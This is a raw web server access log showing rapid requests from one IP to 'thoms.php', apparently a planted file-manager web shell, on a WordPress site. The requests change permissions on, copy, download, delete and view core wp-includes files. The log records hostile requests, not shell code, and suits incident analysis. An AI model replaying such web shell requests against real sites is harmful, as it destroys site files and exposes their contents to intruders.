45.135.193.11 - - [11/Sep/2026:23:09:05 -0400] "GET /thoms.php?chmod=class-pop3.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-pop3.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:05 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:05 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fhttps-detection.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fhttps-detection.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:05 -0400] "GET /thoms.php?dl=class-wp-theme.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:05 -0400] "GET /thoms.php?del=cron.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=cron.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:05 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fjs&p= HTTP/1.1" 200 11967 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:05 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:05 -0400] "GET /thoms.php?del=fonts&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=fonts&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:06 -0400] "GET /thoms.php?dl=class-wp-post-type.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57869 "http://163.245.207.76:443/thoms.php?dl=class-wp-post-type.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:06 -0400] "GET /thoms.php?del=embed-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=embed-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:06 -0400] "GET /thoms.php?dl=ms-load.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=ms-load.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:06 -0400] "GET /thoms.php?chmod=template-canvas.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=template-canvas.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:06 -0400] "GET /thoms.php?dl=nav-menu.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57945 "http://163.245.207.76:443/thoms.php?dl=nav-menu.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:06 -0400] "GET /thoms.php?chmod=class-walker-page.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:07 -0400] "GET /thoms.php?dl=class-wp-block-type-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:07 -0400] "GET /thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:07 -0400] "GET /thoms.php?dl=class-wp-connector-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-connector-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:07 -0400] "GET /thoms.php?del=class-wp-user-request.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-user-request.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:07 -0400] "GET /thoms.php?dl=feed-rss2-comments.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=feed-rss2-comments.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:08 -0400] "GET /thoms.php?chmod=class-wp-http-ixr-client.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-ixr-client.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:07 -0400] "GET /thoms.php?del=theme-i18n.json&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=theme-i18n.json&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:08 -0400] "GET /thoms.php?chmod=http.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=http.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftheme-previews.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftheme-previews.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:08 -0400] "GET /thoms.php?del=ms-load.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?del=ms-load.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Finteractivity-api&p= HTTP/1.1" 200 11972 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Finteractivity-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:08 -0400] "GET /thoms.php?del=speculative-loading.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=speculative-loading.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:09 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:09 -0400] "GET /thoms.php?del=fonts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=fonts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:09 -0400] "GET /thoms.php?chmod=user.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=user.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:09 -0400] "GET /thoms.php?del=rss.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=rss.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:09 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-pop3.php HTTP/1.1" 200 17844 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-pop3.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:09 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:09 -0400] "GET /thoms.php?dl=ai-client.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57899 "http://163.245.207.76:443/thoms.php?dl=ai-client.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:10 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-default-filters.php HTTP/1.1" 200 13950 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:10 -0400] "GET /thoms.php?chmod=wp-db.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=wp-db.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:10 -0400] "GET /thoms.php?chmod=default-widgets.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=default-widgets.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:10 -0400] "GET /thoms.php?chmod=class-wp-dependencies.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependencies.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:10 -0400] "GET /thoms.php?chmod=class-wp-feed-cache-transient.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache-transient.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:10 -0400] "GET /thoms.php?chmod=class-wp-locale.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:10 -0400] "GET /thoms.php?del=blocks.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=blocks.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:10 -0400] "GET /thoms.php?dl=class-walker-comment.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-walker-comment.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:10 -0400] "GET /thoms.php?del=class-wp-network.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-network.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fquery.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fquery.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:11 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:11 -0400] "GET /thoms.php?del=js&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=js&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:11 -0400] "GET /thoms.php?del=class-walker-category-dropdown.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-walker-category-dropdown.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcompat.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11817 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcompat.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:11 -0400] "GET /thoms.php?del=class-wp-theme-json.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:12 -0400] "GET /thoms.php?chmod=ms-load.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=ms-load.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:12 -0400] "GET /thoms.php?dl=class-walker-category.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-walker-category.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:12 -0400] "GET /thoms.php?dl=class-wp-customize-setting.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-setting.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:12 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=registration-functions.php HTTP/1.1" 200 12033 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=registration-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:12 -0400] "GET /thoms.php?dl=feed-atom.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=feed-atom.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:12 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-source.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-source.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:12 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:12 -0400] "GET /thoms.php?dl=theme-previews.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=theme-previews.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-user.php HTTP/1.1" 200 18985 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:13 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=robots-template.php HTTP/1.1" 200 13282 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=robots-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=rss-functions.php HTTP/1.1" 200 12079 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=rss-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=sitemaps.php HTTP/1.1" 200 13052 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=sitemaps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:13 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fstyle-engine.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fstyle-engine.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fhtml-api HTTP/1.1" 200 15084 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fhtml-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=category.php HTTP/1.1" 200 16082 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
